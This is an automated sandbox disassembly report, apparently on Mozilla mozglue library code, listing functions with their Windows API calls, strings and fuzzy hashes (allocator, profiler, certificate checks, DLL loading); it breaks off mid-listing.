CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

SHA256, xrefs: 6C666EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
(, xrefs: 6C66768A
wintrust.dll, xrefs: 6C6672CD

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C686FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687019
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687061
EnterCriticalSection.KERNEL32(?), ref: 6C6871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C68721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C68723E
EnterCriticalSection.KERNEL32(?), ref: 6C68726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C68733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C68961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C689622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C689642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896DB
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C689747
GetSystemInfo.KERNEL32(?), ref: 6C689792
__Init_thread_footer.LIBCMT ref: 6C6897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C6897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C689838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C68984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C689874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C689895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6899D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C689BF4
Compile-time page size does not divide the runtime one., xrefs: 6C689B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6899A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6899BD
<jemalloc>, xrefs: 6C689B33, 6C689BE3
MOZ_CRASH(), xrefs: 6C689B42
MALLOC_OPTIONS, xrefs: 6C6897CA
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C689993
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C689933, 6C689A33, 6C689A4E

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction ID: ee36c599fa48198b2c7725134521e9e790b374f81c6c1017c0afef02a68b7765
Opcode Fuzzy Hash: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction Fuzzy Hash: 4153B171A067018FD704CF29C580715FBE1BF8A328F29C66DE8698B7A1D771E841CB99

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_CRASH(), xrefs: 6C693950
MALLOC_OPTIONS, xrefs: 6C6935FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

FillRect, xrefs: 6C6B5729
GetMonitorInfoW, xrefs: 6C6B57A2
SetWindowPos, xrefs: 6C6B56F7
gdi32, xrefs: 6C6B560A
CreateWindowExW, xrefs: 6C6B56C5
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
ShowWindow, xrefs: 6C6B56DE
DeleteObject, xrefs: 6C6B57F9
EnableNonClientDpiScaling, xrefs: 6C6B5666
LoadCursorW, xrefs: 6C6B5774
StretchDIBits, xrefs: 6C6B57CC
LoadIconW, xrefs: 6C6B575B
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
GetDpiForWindow, xrefs: 6C6B5690
user32, xrefs: 6C6B5601
SetWindowLongPtrW, xrefs: 6C6B57B7
GetWindowDC, xrefs: 6C6B5710
MonitorFromWindow, xrefs: 6C6B578D
RegisterClassW, xrefs: 6C6B56AC
CreateSolidBrush, xrefs: 6C6B57E4
GetSystemMetricsForDpi, xrefs: 6C6B5677
ReleaseDC, xrefs: 6C6B5742

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C69F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C69F155
GetCurrentThreadId.KERNEL32 ref: 6C69F1E0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F1ED
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F212
GetCurrentThreadId.KERNEL32 ref: 6C69F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F248
GetCurrentThreadId.KERNEL32 ref: 6C69F2AE
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2BB
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2F8

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F350
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F35D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F381
GetCurrentThreadId.KERNEL32 ref: 6C69F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F3A0
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F3CF

Part of subcall function 6C69F070: GetCurrentThreadId.KERNEL32 ref: 6C69F440
Part of subcall function 6C69F070: AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
Part of subcall function 6C69F070: ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8
GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction ID: 74419fba93a6748ef766794b00d95a34a809e8270ab2221dbc72faede3565aa9
Opcode Fuzzy Hash: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction Fuzzy Hash: 2AD139316042019FDB009F66D8847A977F8EF87369F15462AF95583B81DB70B805CBAF

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
detoured.dll, xrefs: 6C6664DA
nvd3d9wrap.dll, xrefs: 6C666500
nvdxgiwrap.dll, xrefs: 6C666513
_etoured.dll, xrefs: 6C6664ED
user32.dll, xrefs: 6C666526

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C67D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C67D904
